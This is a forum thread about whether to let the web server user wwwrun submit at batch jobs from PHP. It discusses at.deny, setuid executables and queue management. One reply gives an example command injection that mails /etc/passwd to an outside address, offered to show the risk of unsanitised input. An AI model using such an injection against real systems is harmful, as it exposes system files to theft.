I want to run a Web service that performs a lengthy calculation for the customer. If I let PHP perform the calculation, the script gets killed by server timeout. So I figured out it should initiate a batch job. However, the HTTP server process cannot initiate a batch job because user wwwrun is denied access to service at. Why is that so, and is it safe to remove this denial?
Check if wwwrun is mentioned in /etc/at.deny. If so, removing it from that file will allow PHP to submit batch jobs. Apparmor may also impose restrictions if you have it running.
User wwwrun is listed in at.deny and I can remove it from there. However, I would like to know why it is the default setting and whether it is safe to remove it. Surely the maintainer who took the trouble to listing wwwrun in at.deny had something in mind when he did that, didn’t he? Since I cannot reproduce his reasoning, I kindly ask you for a hint.
If someone hacks your webserver somehow, he/she would be able to use at.
It would be even better to not have at installed at all (on a webserver).
The reasoning is that it’s better to be safe than sorry. At is generally meant to be used by interactive accounts. If you have a need to use at from a system account, then you had better understand the risk involved. In other words, if you can’t understand the reasoning, then perhaps you should learn why before you enable it.
Let me give you a scenario. Suppose you somehow are silly enough to forget to sanitise user input and incorporate some input as part of a command that is sent to at. And suppose that user input was something like mail -s jackpot firstname.lastname@example.org < /etc/passwd. Do you get the idea?
You have to learn to think paranoid when it it comes to security.
But then I would be unable to run a batch job, and accordingly, to perform the task at hand? That would void the purpose of my server.
Like somebody gives his e-mail address like this?
Quite an idea. Well, I have already been criticized here for using paranoid quotes in scripts…
Is it better to enable user wwwrun or to call a setuid executable from PHP?
You’ll have to learn to evaluate the risks yourself. List in your head or on a piece of paper what the worst thing that could happen if something went wrong with the feature you propose to enable. Ask a friend to play adversary and propose bad scenarios for the feature.
For example if I were an adversary, I would ask: Is your setuid script accessible to normal users? Is it accessible to other web applications? What would happen if someone were to run it interactively? Does it accept any input or arguments? What would happen if some evil input were fed to it? What would happen if even though it could only run one thing, yet somebody can create a denial of service by queuing up too many batch jobs? And so forth.
I want to run a Web service that performs a lengthy calculation for the customer.
Can you just make a call to this process and then send it to the background instead of messing with at?
This would make an easy DOS; I need at to manage the jobs. The system does not support running them in parallel.
Why would this make an easy DOS, I don’t understand.
What is the benefit of having at manage the jobs?
- It is not a script, it is a binary executable. Scripts cannot be setuid in SuSE Linux.
- The setuid executable (back end) is run as a normal user. It batches itself if invoked from PHP.
- It is accessible to other Web applications. They are all under my control.
- It does not run interactively (it neither reads standard input nor listens).
- It accepts arguments.
- Evil input would cause unreadable and useless output.
- If the at
queue overflows, the batch should fail.
- And so forth.
The answers are for the case that I choose the setuid method. I am not sure what happens if I globally enable wwwrun.
If a client creates too many concurrent processes, the kernel will grind. at gives me the opportunity to review and manage the queue.
You could also check how many of your process are already running with ps. If there are too many running then you can prevent another one from starting, similiar to what you would be doing with the at queue.
I didn’t use but as I remember in PHP there is function set_time_limit, as for Apache there are some global directives for timeouts like keepalivetimeout and so one.
I am sure there is; however, I would rather not keep the customer waiting. The server should return ASAP.
And ultimately I could reimplement at. Not really
Except you wouldn’t have to have worry about giviing the wwwrun user access to at, which seemed to be your issue to begin with.
You are also now relying on yet another service to be up and running. What would happen if at dies an untimely death?
You don’t want to have an angry customer on your hands because at went stupid.
I’m not trying to be difficult, just trying to be helpful.
> - It is not a script, it is a binary executable. Scripts cannot be
> setuid in SuSE Linux.
> - The setuid executable (back end) is run as a normal user. It
> batches itself if invoked from ‘PHP’ (http://www.php.net).
> - It is accessible to other Web applications. They are all under my
> - It does not run interactively (it neither reads standard input nor
> - It accepts arguments.
> - Evil input would cause unreadable and useless output.
> - If the at queue overflows, the batch should fail.
> - And so forth.
> The answers are for the case that I choose the setuid method. I am not
> sure what happens if I globally enable wwwrun.
That looks reasonable at a glance; but I’m a layman. You might try the
opensuse-security mailing list to see if you can get more informed
opinions about the best way and the danger if any of wwwrun -> at.